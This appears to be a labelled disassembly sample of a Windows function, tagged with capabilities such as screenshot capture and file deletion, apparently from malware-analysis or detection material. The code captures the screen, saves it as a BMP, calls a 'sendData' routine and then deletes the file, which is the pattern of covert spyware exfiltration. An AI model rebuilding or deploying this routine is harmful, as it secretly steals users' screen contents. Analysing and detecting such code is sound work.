Function at 0x1400016e9
Capabilities:
Capture screenshot
Delete file
Write file on windows

Disassembly:
push rbp
sub rsp, 0x110
lea rbp, [rsp + 0x80]
lea rax, str.data
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x78], 0
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetDC]
call rax
mov qword [rbp + 0x70], rax
cmp qword [rbp + 0x70], 0
jne 0x140001732
mov eax, 0xffffffff
jmp 0x140001cdb
mov rax, qword [rbp + 0x70]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleDC]
call rax
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14000176c
mov rax, qword [rbp + 0x70]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
mov eax, 0xffffffff
jmp 0x140001cdb
mov rax, qword [rbp + 0x70]
mov edx, 8
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_GetDeviceCaps]
call rax
mov dword [rbp + 0x64], eax
mov rax, qword [rbp + 0x70]
mov edx, 0xa
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_GetDeviceCaps]
call rax
mov dword [rbp + 0x60], eax
mov ecx, dword [rbp + 0x60]
mov edx, dword [rbp + 0x64]
mov rax, qword [rbp + 0x70]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
call rax
mov qword [rbp + 0x58], rax
cmp qword [rbp + 0x58], 0
jne 0x1400017ef
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteDC]
call rax
mov rax, qword [rbp + 0x70]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
mov eax, 0xffffffff
jmp 0x140001cdb
mov rdx, qword [rbp + 0x58]
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
call rax
mov qword [rbp + 0x50], rax
cmp qword [rbp + 0x50], 0
je 0x14000181e
mov ecx, 0xffffffff
call fcn.140001540
cmp qword [rbp + 0x50], rax
jne 0x14000185d
mov rax, qword [rbp + 0x58]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteDC]
call rax
mov rax, qword [rbp + 0x70]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
mov eax, 0xffffffff
jmp 0x140001cdb
mov ecx, dword [rbp + 0x64]
mov rax, qword [rbp + 0x68]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rdx, qword [rbp + 0x70]
mov qword [rsp + 0x28], rdx
mov edx, dword [rbp + 0x60]
mov dword [rsp + 0x20], edx
mov r9d, ecx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_BitBlt]
call rax
test eax, eax
jne 0x1400018e9
mov rax, qword [rbp + 0x58]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteDC]
call rax
mov rax, qword [rbp + 0x70]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
mov eax, 0xffffffff
jmp 0x140001cdb
lea rdx, [rbp + 0x10]
mov rax, qword [rbp + 0x58]
mov r8, rdx
mov edx, 0x20
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_GetObjectA]
call rax
mov word [rbp - 6], 0x4d42
mov edx, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x18]
imul eax, edx
add eax, 0x36
mov dword [rbp - 4], eax
mov word [rbp], 0
mov word [rbp + 2], 0
mov dword [rbp + 4], 0x36
mov dword [rbp - 0x30], 0x28
mov eax, dword [rbp + 0x14]
mov dword [rbp - 0x2c], eax
mov eax, dword [rbp + 0x18]
mov dword [rbp - 0x28], eax
mov word [rbp - 0x24], 1
movzx eax, word [rbp + 0x22]
mov word [rbp - 0x22], ax
mov dword [rbp - 0x20], 0
mov dword [rbp - 0x1c], 0
mov dword [rbp - 0x18], 0
mov dword [rbp - 0x14], 0
mov dword [rbp - 0x10], 0
mov dword [rbp - 0xc], 0
mov eax, dword [rbp - 4]
mov eax, eax
sub rax, 0x36
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x78], rax
cmp qword [rbp + 0x78], 0
jne 0x1400019d3
mov rax, qword [rbp + 0x58]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteDC]
call rax
mov rax, qword [rbp + 0x70]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
mov eax, 0xffffffff
jmp 0x140001cdb
mov eax, dword [rbp - 4]
sub eax, 0x36
mov ecx, eax
mov rdx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x58]
mov r8, rdx
mov edx, ecx
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_GetBitmapBits]
call rax
test eax, eax
jne 0x140001a43
mov rax, qword [rbp + 0x78]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x58]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteDC]
call rax
mov rax, qword [rbp + 0x70]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
mov eax, 0xffffffff
jmp 0x140001cdb
mov edx, dword [rbp - 0x2c]
movzx eax, word [rbp - 0x22]
shr ax, 3
movzx eax, ax
imul eax, edx
mov dword [rbp + 0x4c], eax
mov eax, dword [rbp + 0x4c]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x40], rax
cmp qword [rbp + 0x40], 0
jne 0x140001aba
mov rax, qword [rbp + 0x78]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x58]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteDC]
call rax
mov rax, qword [rbp + 0x70]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
mov eax, 0xffffffff
jmp 0x140001cdb
mov dword [rbp + 0x8c], 0
jmp 0x140001b5c
mov eax, dword [rbp + 0x8c]
imul eax, dword [rbp + 0x4c]
mov dword [rbp + 0x3c], eax
mov eax, dword [rbp - 0x28]
sub eax, dword [rbp + 0x8c]
lea edx, [rax - 1]
mov eax, dword [rbp + 0x4c]
imul eax, edx
mov dword [rbp + 0x38], eax
mov eax, dword [rbp + 0x4c]
movsxd rcx, eax
mov eax, dword [rbp + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x78]
add rdx, rax
mov rax, qword [rbp + 0x40]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov eax, dword [rbp + 0x4c]
movsxd r8, eax
mov eax, dword [rbp + 0x38]
movsxd rdx, eax
mov rax, qword [rbp + 0x78]
add rdx, rax
mov eax, dword [rbp + 0x3c]
movsxd rcx, eax
mov rax, qword [rbp + 0x78]
add rax, rcx
mov rcx, rax
call sym.memcpy
mov eax, dword [rbp + 0x4c]
movsxd r8, eax
mov eax, dword [rbp + 0x38]
movsxd rdx, eax
mov rax, qword [rbp + 0x78]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x40]
mov rdx, rax
call sym.memcpy
add dword [rbp + 0x8c], 1
mov eax, dword [rbp - 0x28]
mov edx, eax
shr edx, 0x1f
add eax, edx
sar eax, 1
cmp dword [rbp + 0x8c], eax
jl 0x140001ac9
mov rax, qword [rbp + 0x40]
mov rcx, rax
call sym.free
mov rdx, qword [rbp + 0x80]
lea rax, [rbp + 8]
lea r8, [0x140005067]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_fopen_s]
call rax
mov rax, qword [rbp + 8]
test rax, rax
jne 0x140001bf2
mov rax, qword [rbp + 0x78]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x58]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteDC]
call rax
mov rax, qword [rbp + 0x70]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
mov eax, 0xffffffff
jmp 0x140001cdb
mov edx, dword [rbp - 0x2c]
mov eax, dword [rbp - 0x28]
imul edx, eax
movzx eax, word [rbp - 0x22]
shr ax, 3
movzx eax, ax
imul eax, edx
add eax, 0x36
mov dword [rbp - 4], eax
mov eax, dword [rbp - 0x28]
mov dword [rbp - 0x28], eax
mov rdx, qword [rbp + 8]
lea rax, [rbp - 6]
mov r9, rdx
mov r8d, 1
mov edx, 0xe
mov rcx, rax
call sym.fwrite
mov rdx, qword [rbp + 8]
lea rax, [rbp - 0x30]
mov r9, rdx
mov r8d, 1
mov edx, 0x28
mov rcx, rax
call sym.fwrite
mov rdx, qword [rbp + 8]
mov eax, dword [rbp - 4]
mov eax, eax
lea rcx, [rax - 0x36]
mov rax, qword [rbp + 0x78]
mov r9, rdx
mov r8, rcx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 8]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x78]
mov rcx, rax
call sym.free
call sym.sendData
mov rax, qword [rbp + 0x80]
mov rcx, rax
call sym.remove
mov rax, qword [rbp + 0x58]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteDC]
call rax
mov rax, qword [rbp + 0x70]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
mov eax, 0
add rsp, 0x110
pop rbp
ret